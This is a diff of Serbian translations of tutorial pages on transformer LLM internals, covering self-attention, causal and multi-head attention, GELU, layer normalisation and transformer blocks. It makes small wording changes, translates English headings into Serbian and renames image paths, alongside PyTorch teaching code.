<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Rezultat pažnje između "shiny" i "shiny"**
|
**Rezultat pažnje između "shiny" i "shiny"**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Rezultat pažnje između "sun" i "shiny"**
|
**Rezultat pažnje između "sun" i "shiny"**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Korak 2: Normalizacija rezultata pažnje da bi se dobile težine pažnje
|
#### Korak 2: Normalizacija rezultata pažnje za dobijanje težina pažnje
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizujte sve težine tako da **ukupno sumiraju 1**.
|
Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizujte sve težine tako da **ukupno sumiraju 1**.
|
||||||
|
@ -65,26 +65,26 @@ Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normal
|
||||||
Pored toga, **softmax** funkcija se koristi jer naglašava razlike zbog eksponencijalnog dela, olakšavajući prepoznavanje korisnih vrednosti.
|
Pored toga, **softmax** funkcija se koristi jer naglašava razlike zbog eksponencijalnog dela, olakšavajući prepoznavanje korisnih vrednosti.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Primeni **softmax funkciju** na rezultate pažnje da bi ih pretvorio u težine pažnje koje sumiraju 1.
|
Primeni **softmax funkciju** na rezultate pažnje kako bi ih pretvorio u težine pažnje koje se sabiraju na 1.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Izračunavanje eksponencijala:
|
Izračunavanje eksponencijala:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Izračunavanje sume:
|
Izračunavanje sume:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Izračunavanje težina pažnje:
|
Izračunavanje težina pažnje:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Korak 3: Izračunavanje vektora konteksta
|
#### Korak 3: Izračunavanje vektora konteksta
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Samo uzmite svaku težinu pažnje i pomnožite je sa dimenzijama relevantnog tokena, a zatim saberite sve dimenzije da dobijete samo 1 vektor (vektor konteksta) 
|
Samo uzmite svaku težinu pažnje i pomnožite je sa dimenzijama povezanog tokena, a zatim saberite sve dimenzije da dobijete samo 1 vektor (vektor konteksta) 
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Vektor konteksta** se izračunava kao ponderisana suma umetanja svih reči, koristeći težine pažnje.
|
**Vektor konteksta** se izračunava kao ponderisana suma umetanja svih reči, koristeći težine pažnje.
|
||||||
|
@ -95,13 +95,13 @@ Izračunavanje svake komponente:
|
||||||
|
|
||||||
* **Ponderisano umetanje "Hello"**:
|
* **Ponderisano umetanje "Hello"**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
* **Ponderisano umetanje "shiny"**:
|
* **Ponderisano umetanje "shiny"**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
* **Ponderisano umetanje "sun"**:
|
* **Ponderisano umetanje "sun"**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Saberanje ponderisanih umetanja:
|
Saberanje ponderisanih umetanja:
|
||||||
|
|
||||||
|
@ -112,14 +112,14 @@ Saberanje ponderisanih umetanja:
|
||||||
### Sažetak procesa
|
### Sažetak procesa
|
||||||
|
|
||||||
1. **Izračunajte rezultate pažnje**: Koristite skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
|
1. **Izračunajte rezultate pažnje**: Koristite skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
|
||||||
2. **Normalizujte rezultate da dobijete težine pažnje**: Primeni softmax funkciju na rezultate pažnje da dobijete težine koje sumiraju 1.
|
2. **Normalizujte rezultate da dobijete težine pažnje**: Primeni softmax funkciju na rezultate pažnje da dobijete težine koje se sabiraju na 1.
|
||||||
3. **Izračunajte vektor konteksta**: Pomnožite umetanje svake reči sa njenom težinom pažnje i saberite rezultate.
|
3. **Izračunajte vektor konteksta**: Pomnožite umetanje svake reči sa njenom težinom pažnje i saberite rezultate.
|
||||||
|
|
||||||
## Samopažnja sa težinama koje se mogu obučavati
|
## Samopažnja sa težinama koje se mogu obučavati
|
||||||
|
|
||||||
U praksi, mehanizmi samopažnje koriste **težine koje se mogu obučavati** da nauče najbolje reprezentacije za upite, ključeve i vrednosti. Ovo uključuje uvođenje tri matrice težina:
|
U praksi, mehanizmi samopažnje koriste **težine koje se mogu obučavati** da nauče najbolje reprezentacije za upite, ključeve i vrednosti. Ovo uključuje uvođenje tri matrice težina:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Upit je podatak koji se koristi kao i ranije, dok su matrice ključeva i vrednosti samo nasumične matrice koje se mogu obučavati.
|
Upit je podatak koji se koristi kao i ranije, dok su matrice ključeva i vrednosti samo nasumične matrice koje se mogu obučavati.
|
||||||
|
|
||||||
|
@ -155,37 +155,37 @@ queries = torch.matmul(inputs, W_query)
|
||||||
keys = torch.matmul(inputs, W_key)
|
keys = torch.matmul(inputs, W_key)
|
||||||
values = torch.matmul(inputs, W_value)
|
values = torch.matmul(inputs, W_value)
|
||||||
```
|
```
|
||||||
#### Step 2: Compute Scaled Dot-Product Attention
|
#### Step 2: Izračunavanje skalirane dot-proizvodne pažnje
|
||||||
|
|
||||||
**Compute Attention Scores**
|
**Izračunavanje ocena pažnje**
|
||||||
|
|
||||||
Slično prethodnom primeru, ali ovoga puta, umesto korišćenja vrednosti dimenzija tokena, koristimo ključnu matricu tokena (već izračunatu koristeći dimenzije):. Dakle, za svaku upit `qi` i ključ `kj`:
|
Slično prethodnom primeru, ali ovoga puta, umesto korišćenja vrednosti dimenzija tokena, koristimo ključnu matricu tokena (već izračunatu korišćenjem dimenzija):. Dakle, za svaku upit `qi` i ključ `kj`:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Scale the Scores**
|
**Skaliranje ocena**
|
||||||
|
|
||||||
Da bismo sprečili da skalarni proizvodi postanu preveliki, skaliramo ih kvadratnim korenom dimenzije ključa `dk`:
|
Da bismo sprečili da dot-proizvodi postanu preveliki, skaliramo ih kvadratnim korenom dimenzije ključa `dk`:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Rezultat se deli kvadratnim korenom dimenzija jer skalarni proizvodi mogu postati veoma veliki i ovo pomaže da se regulišu.
|
Ocena se deli kvadratnim korenom dimenzija jer dot-proizvodi mogu postati veoma veliki i ovo pomaže u regulisanju.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Apply Softmax to Obtain Attention Weights:** Kao u inicijalnom primeru, normalizujte sve vrednosti tako da se saberu na 1. 
|
**Primena Softmax-a za dobijanje težina pažnje:** Kao u inicijalnom primeru, normalizujte sve vrednosti tako da se saberu na 1. 
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Step 3: Compute Context Vectors
|
#### Step 3: Izračunavanje kontekstualnih vektora
|
||||||
|
|
||||||
Kao u inicijalnom primeru, jednostavno saberite sve matrice vrednosti množeći svaku sa njenom težinom pažnje:
|
Kao u inicijalnom primeru, jednostavno saberite sve matrice vrednosti množeći svaku sa svojom težinom pažnje:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Code Example
|
### Primer koda
|
||||||
|
|
||||||
Uzimajući primer sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) možete proveriti ovu klasu koja implementira funkcionalnost samopaznje o kojoj smo govorili:
|
Uzimajući primer sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), možete proveriti ovu klasu koja implementira funkcionalnost samopaznje o kojoj smo govorili:
|
||||||
```python
|
```python
|
||||||
import torch
|
import torch
|
||||||
|
|
||||||
|
@ -234,7 +234,7 @@ Za LLM-ove želimo da model uzima u obzir samo tokene koji se pojavljuju pre tre
|
||||||
|
|
||||||
### Primena Maski za Uzročnu Pažnju
|
### Primena Maski za Uzročnu Pažnju
|
||||||
|
|
||||||
Da bismo implementirali uzročnu pažnju, primenjujemo masku na rezultate pažnje **pre softmax operacije** tako da preostali rezultati i dalje zbrajaju 1. Ova maska postavlja rezultate pažnje budućih tokena na negativnu beskonačnost, osiguravajući da nakon softmax-a, njihova težina pažnje bude nula.
|
Da bismo implementirali uzročnu pažnju, primenjujemo masku na rezultate pažnje **pre softmax operacije** tako da preostali rezultati i dalje sumiraju 1. Ova maska postavlja rezultate pažnje budućih tokena na negativnu beskonačnost, osiguravajući da nakon softmax-a, njihova težina pažnje bude nula.
|
||||||
|
|
||||||
**Koraci**
|
**Koraci**
|
||||||
|
|
||||||
|
@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||||
|
|
||||||
### Primer koda
|
### Primer koda
|
||||||
|
|
||||||
Moguće je ponovo koristiti prethodni kod i samo dodati omotač koji ga pokreće nekoliko puta, ali ovo je optimizovana verzija sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) koja obrađuje sve glave u isto vreme (smanjujući broj skupih for petlji). Kao što možete videti u kodu, dimenzije svake oznake su podeljene u različite dimenzije prema broju glava. Na ovaj način, ako oznaka ima 8 dimenzija i želimo da koristimo 3 glave, dimenzije će biti podeljene u 2 niza od 4 dimenzije, a svaka glava će koristiti jedan od njih:
|
Moguće je ponovo koristiti prethodni kod i samo dodati omotač koji ga pokreće nekoliko puta, ali ovo je optimizovana verzija sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) koja obrađuje sve glave u isto vreme (smanjujući broj skupih for petlji). Kao što možete videti u kodu, dimenzije svake oznake su podeljene u različite dimenzije u skladu sa brojem glava. Na ovaj način, ako oznaka ima 8 dimenzija i želimo da koristimo 3 glave, dimenzije će biti podeljene u 2 niza od 4 dimenzije, a svaka glava će koristiti jedan od njih:
|
||||||
```python
|
```python
|
||||||
class MultiHeadAttention(nn.Module):
|
class MultiHeadAttention(nn.Module):
|
||||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||||
|
@ -412,7 +412,7 @@ Za još jednu kompaktno i efikasnu implementaciju možete koristiti [`torch.nn.M
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Kratak odgovor ChatGPT-a o tome zašto je bolje podeliti dimenzije tokena među glavama umesto da svaka glava proverava sve dimenzije svih tokena:
|
Kratak odgovor ChatGPT-a o tome zašto je bolje podeliti dimenzije tokena među glavama umesto da svaka glava proverava sve dimenzije svih tokena:
|
||||||
|
|
||||||
Iako bi omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja moglo izgledati kao prednost jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga je deljenje dimenzija ugrađivanja generalno poželjnije od toga da svaka glava proverava sve dimenzije.
|
Iako omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja može delovati korisno jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga je deljenje dimenzija ugrađivanja generalno poželjnije od toga da svaka glava proverava sve dimenzije.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
|
@ -5,22 +5,22 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Cilj ove pete faze je vrlo jednostavan: **Razviti arhitekturu celog LLM-a**. Spojiti sve zajedno, primeniti sve slojeve i kreirati sve funkcije za generisanje teksta ili transformaciju teksta u ID-ove i obrnuto.
|
Cilj ove pete faze je vrlo jednostavan: **Razviti arhitekturu celog LLM-a**. Spojiti sve zajedno, primeniti sve slojeve i kreirati sve funkcije za generisanje teksta ili transformaciju teksta u ID-ove i obrnuto.
|
||||||
|
|
||||||
Ova arhitektura će se koristiti i za obuku i za predikciju teksta nakon što je obučena.
|
Ova arhitektura će se koristiti za obuku i predikciju teksta nakon što je obučena.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Primer LLM arhitekture sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
|
Primer LLM arhitekture sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
|
||||||
|
|
||||||
Visok nivo reprezentacije može se posmatrati u:
|
Visok nivo reprezentacije može se posmatrati u:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||||
|
|
||||||
1. **Ulaz (Tokenizovani Tekst)**: Proces počinje sa tokenizovanim tekstom, koji se konvertuje u numeričke reprezentacije.
|
1. **Ulaz (Tokenizovani Tekst)**: Proces počinje sa tokenizovanim tekstom, koji se konvertuje u numeričke reprezentacije.
|
||||||
2. **Sloj Token Embedding i Sloj Pozicionog Embedding-a**: Tokenizovani tekst prolazi kroz **sloj token embedding-a** i **sloj pozicionog embedding-a**, koji hvata poziciju tokena u sekvenci, što je ključno za razumevanje reda reči.
|
2. **Sloj Token Embedding i Sloj Pozicionog Embedding-a**: Tokenizovani tekst prolazi kroz **sloj token embedding-a** i **sloj pozicionog embedding-a**, koji hvata poziciju tokena u sekvenci, što je ključno za razumevanje reda reči.
|
||||||
3. **Transformer Blokovi**: Model sadrži **12 transformer blokova**, svaki sa više slojeva. Ovi blokovi ponavljaju sledeću sekvencu:
|
3. **Transformer Blokovi**: Model sadrži **12 transformer blokova**, svaki sa više slojeva. Ovi blokovi ponavljaju sledeću sekvencu:
|
||||||
* **Maskirana Multi-Head Pažnja**: Omogućava modelu da se fokusira na različite delove ulaznog teksta odjednom.
|
* **Maskirana Multi-Head Pažnja**: Omogućava modelu da se fokusira na različite delove ulaznog teksta odjednom.
|
||||||
* **Normalizacija Slojeva**: Korak normalizacije za stabilizaciju i poboljšanje obuke.
|
* **Normalizacija Slojeva**: Korak normalizacije za stabilizaciju i poboljšanje obuke.
|
||||||
* **Sloj Feed Forward**: Odgovoran za obradu informacija iz sloja pažnje i pravljenje predikcija o sledećem tokenu.
|
* **Feed Forward Sloj**: Odgovoran za obradu informacija iz sloja pažnje i pravljenje predikcija o sledećem tokenu.
|
||||||
* **Dropout Slojevi**: Ovi slojevi sprečavaju prekomerno prilagođavanje nasumičnim ispuštanjem jedinica tokom obuke.
|
* **Dropout Slojevi**: Ovi slojevi sprečavaju prekomerno prilagođavanje tako što nasumično isključuju jedinice tokom obuke.
|
||||||
4. **Završni Izlazni Sloj**: Model izlazi sa **4x50,257-dimenzionalnim tenzorom**, gde **50,257** predstavlja veličinu rečnika. Svaki red u ovom tenzoru odgovara vektoru koji model koristi za predikciju sledeće reči u sekvenci.
|
4. **Završni Izlazni Sloj**: Model izlazi sa **4x50,257-dimenzionalnim tenzorom**, gde **50,257** predstavlja veličinu rečnika. Svaki red u ovom tenzoru odgovara vektoru koji model koristi za predikciju sledeće reči u sekvenci.
|
||||||
5. **Cilj**: Cilj je uzeti ove embedding-e i konvertovati ih nazad u tekst. Konkretno, poslednji red izlaza se koristi za generisanje sledeće reči, predstavljene kao "napred" u ovoj dijagramu.
|
5. **Cilj**: Cilj je uzeti ove embedding-e i konvertovati ih nazad u tekst. Konkretno, poslednji red izlaza se koristi za generisanje sledeće reči, predstavljene kao "napred" u ovoj dijagramu.
|
||||||
|
|
||||||
|
@ -196,6 +196,8 @@ print("Input batch:\n", batch)
|
||||||
print("\nOutput shape:", out.shape)
|
print("\nOutput shape:", out.shape)
|
||||||
print(out)
|
print(out)
|
||||||
```
|
```
|
||||||
|
Hajde da objasnimo korak po korak:
|
||||||
|
|
||||||
### **GELU Aktivacijska Funkcija**
|
### **GELU Aktivacijska Funkcija**
|
||||||
```python
|
```python
|
||||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||||
|
@ -211,11 +213,11 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||||
```
|
```
|
||||||
#### **Svrha i Funkcionalnost**
|
#### **Svrha i Funkcionalnost**
|
||||||
|
|
||||||
* **GELU (Gaussian Error Linear Unit):** Aktivaciona funkcija koja uvodi nelinearnost u model.
|
* **GELU (Gaussian Error Linear Unit):** Aktivacijska funkcija koja uvodi nelinearnost u model.
|
||||||
* **Gladka Aktivacija:** Za razliku od ReLU, koja postavlja negativne ulaze na nulu, GELU glatko mapira ulaze na izlaze, omogućavajući male, nenulte vrednosti za negativne ulaze.
|
* **Gladka Aktivacija:** Za razliku od ReLU, koja nula negativne ulaze, GELU glatko mapira ulaze na izlaze, omogućavajući male, nenulte vrednosti za negativne ulaze.
|
||||||
* **Matematička Definicija:**
|
* **Matematička Definicija:**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Cilj korišćenja ove funkcije nakon linearnih slojeva unutar FeedForward sloja je da se promeni linearni podaci u nelinearne kako bi se modelu omogućilo učenje složenih, nelinearnih odnosa.
|
Cilj korišćenja ove funkcije nakon linearnih slojeva unutar FeedForward sloja je da se promeni linearni podaci u nelinearne kako bi se modelu omogućilo učenje složenih, nelinearnih odnosa.
|
||||||
|
@ -252,7 +254,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||||
* **Drugi Linearni Sloj:** Smanjuje dimenzionalnost nazad na `emb_dim`.
|
* **Drugi Linearni Sloj:** Smanjuje dimenzionalnost nazad na `emb_dim`.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Kao što možete videti, mreža sa prolazom napred koristi 3 sloja. Prvi je linearni sloj koji će pomnožiti dimenzije sa 4 koristeći linearne težine (parametre za obučavanje unutar modela). Zatim, GELU funkcija se koristi u svim tim dimenzijama da primeni nelinearne varijacije kako bi uhvatila bogatije reprezentacije, a na kraju se koristi još jedan linearni sloj da se vrati na originalnu veličinu dimenzija.
|
Kao što možete videti, mreža sa prolazom koristi 3 sloja. Prvi je linearni sloj koji će pomnožiti dimenzije sa 4 koristeći linearne težine (parametre za obučavanje unutar modela). Zatim, GELU funkcija se koristi u svim tim dimenzijama da primeni nelinearne varijacije kako bi uhvatila bogatije reprezentacije, a na kraju se koristi još jedan linearni sloj da se vrati na originalnu veličinu dimenzija.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Mehanizam Višestruke Glave Pažnje**
|
### **Mehanizam Višestruke Glave Pažnje**
|
||||||
|
@ -266,15 +268,15 @@ Ovo je već objašnjeno u ranijem odeljku.
|
||||||
* **Upiti, Ključevi, Vrednosti:** Linearne projekcije ulaza, korišćene za izračunavanje ocena pažnje.
|
* **Upiti, Ključevi, Vrednosti:** Linearne projekcije ulaza, korišćene za izračunavanje ocena pažnje.
|
||||||
* **Glave:** Više mehanizama pažnje koji rade paralelno (`num_heads`), svaki sa smanjenom dimenzijom (`head_dim`).
|
* **Glave:** Više mehanizama pažnje koji rade paralelno (`num_heads`), svaki sa smanjenom dimenzijom (`head_dim`).
|
||||||
* **Ocene Pažnje:** Izračunate kao skalarni proizvod upita i ključeva, skalirane i maskirane.
|
* **Ocene Pažnje:** Izračunate kao skalarni proizvod upita i ključeva, skalirane i maskirane.
|
||||||
* **Maskiranje:** Primena uzročnog maskiranja kako bi se sprečilo da model obraća pažnju na buduće tokene (važno za autoregresivne modele poput GPT).
|
* **Maskiranje:** Primena uzročnog maskiranja kako bi se sprečilo da model obraća pažnju na buduće tokene (važan za autoregresivne modele poput GPT).
|
||||||
* **Težine Pažnje:** Softmax maskiranih i skaliranih ocena pažnje.
|
* **Težine Pažnje:** Softmax maskiranih i skaliranih ocena pažnje.
|
||||||
* **Vektor Konteksta:** Težinski zbir vrednosti, prema težinama pažnje.
|
* **Vektor Konteksta:** Težinski zbir vrednosti, prema težinama pažnje.
|
||||||
* **Projekcija Izlaza:** Linearni sloj za kombinovanje izlaza svih glava.
|
* **Izlazna Projekcija:** Linearni sloj za kombinovanje izlaza svih glava.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Cilj ove mreže je da pronađe odnose između tokena u istom kontekstu. Štaviše, tokeni su podeljeni u različite glave kako bi se sprečilo prekomerno prilagođavanje, iako se konačni odnosi pronađeni po glavi kombinuju na kraju ove mreže.
|
Cilj ove mreže je da pronađe odnose između tokena u istom kontekstu. Štaviše, tokeni su podeljeni u različite glave kako bi se sprečilo prekomerno prilagođavanje, iako se konačni odnosi pronađeni po glavi kombinuju na kraju ove mreže.
|
||||||
|
|
||||||
Takođe, tokom obuke se primenjuje **uzročno maskiranje** kako kasniji tokeni ne bi bili uzeti u obzir prilikom gledanja specifičnih odnosa sa tokenom, a takođe se primenjuje i **dropout** da se **spreči prekomerno prilagođavanje**.
|
Takođe, tokom obuke se primenjuje **uzročno maskiranje** kako kasniji tokeni ne bi bili uzeti u obzir prilikom gledanja specifičnih odnosa sa tokenom, a takođe se primenjuje i neki **dropout** da se **spreči prekomerno prilagođavanje**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Normalizacija** Sloja
|
### **Normalizacija** Sloja
|
||||||
|
@ -300,8 +302,8 @@ return self.scale * norm_x + self.shift
|
||||||
* **`eps`:** Mala konstanta (`1e-5`) koja se dodaje varijansi kako bi se sprečila deljenje sa nulom tokom normalizacije.
|
* **`eps`:** Mala konstanta (`1e-5`) koja se dodaje varijansi kako bi se sprečila deljenje sa nulom tokom normalizacije.
|
||||||
* **`scale` i `shift`:** Parametri koji se mogu učiti (`nn.Parameter`) koji omogućavaju modelu da skalira i pomera normalizovani izlaz. Inicijalizovani su na jedinice i nule, redom.
|
* **`scale` i `shift`:** Parametri koji se mogu učiti (`nn.Parameter`) koji omogućavaju modelu da skalira i pomera normalizovani izlaz. Inicijalizovani su na jedinice i nule, redom.
|
||||||
* **Proces normalizacije:**
|
* **Proces normalizacije:**
|
||||||
* **Izračunaj srednju vrednost (`mean`):** Izračunava srednju vrednost ulaza `x` preko dimenzije ugrađivanja (`dim=-1`), zadržavajući dimenziju za emitovanje (`keepdim=True`).
|
* **Izračunaj Srednju Vrednost (`mean`):** Izračunava srednju vrednost ulaza `x` preko dimenzije ugrađivanja (`dim=-1`), zadržavajući dimenziju za emitovanje (`keepdim=True`).
|
||||||
* **Izračunaj varijansu (`var`):** Izračunava varijansu `x` preko dimenzije ugrađivanja, takođe zadržavajući dimenziju. Parametar `unbiased=False` osigurava da se varijansa izračunava koristeći pristrasnog estimatora (deljenje sa `N` umesto `N-1`), što je prikladno kada se normalizuje preko karakteristika umesto uzoraka.
|
* **Izračunaj Varijansu (`var`):** Izračunava varijansu `x` preko dimenzije ugrađivanja, takođe zadržavajući dimenziju. Parametar `unbiased=False` osigurava da se varijansa izračunava koristeći pristrasnog procenjivača (deljenje sa `N` umesto `N-1`), što je prikladno kada se normalizuje preko karakteristika umesto uzoraka.
|
||||||
* **Normalizuj (`norm_x`):** Oduzima srednju vrednost od `x` i deli sa kvadratnim korenom varijanse plus `eps`.
|
* **Normalizuj (`norm_x`):** Oduzima srednju vrednost od `x` i deli sa kvadratnim korenom varijanse plus `eps`.
|
||||||
* **Skaliraj i Pomeri:** Primena parametara `scale` i `shift` koji se mogu učiti na normalizovani izlaz.
|
* **Skaliraj i Pomeri:** Primena parametara `scale` i `shift` koji se mogu učiti na normalizovani izlaz.
|
||||||
|
|
||||||
|
@ -362,27 +364,27 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||||
|
|
||||||
1. **Prvi Rezidualni Put (Samo-Pažnja):**
|
1. **Prvi Rezidualni Put (Samo-Pažnja):**
|
||||||
* **Ulaz (`shortcut`):** Sačuvaj originalni ulaz za rezidualnu vezu.
|
* **Ulaz (`shortcut`):** Sačuvaj originalni ulaz za rezidualnu vezu.
|
||||||
* **Normalizacija Sloja (`norm1`):** Normalizuj ulaz.
|
* **Layer Norm (`norm1`):** Normalizuj ulaz.
|
||||||
* **Višekratna Pažnja (`att`):** Primeni samo-pažnju.
|
* **Višekratna Pažnja (`att`):** Primeni samo-pažnju.
|
||||||
